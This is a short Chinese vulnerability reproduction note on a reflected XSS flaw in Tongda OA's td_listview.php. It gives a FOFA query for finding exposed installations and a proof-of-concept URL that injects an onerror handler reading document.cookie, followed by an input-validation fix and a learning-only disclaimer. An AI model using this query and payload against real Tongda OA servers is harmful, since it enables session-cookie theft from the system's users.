通达OA反射型xss漏洞复现

1、产品简介

      通达OA(0fice Anywhere网络智能办公系统)是由北京 通达信Q科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。

2、漏洞概述

       通达OA 存在反射型xss漏洞，攻击者通过漏洞可以获取cookie.

3、复现环境

fofa语句：app="TDXK-通达OA"

4、漏洞复现

url：https://ip/module/html_editor/editor/plugins/td_listview/td_listview.php?GZIP_POSTFIX=%22+onerror=alert(document.cookie)+a=1

---

5、修复建议

对用户输入的数据进行严格的验证，包括长度、类型、格式等，不信任任何用户输入，过滤掉潜在的恶意脚本。

声明：此文章仅用于学习，利用文章做出相关违背网络安全法行为，一切与作者无关。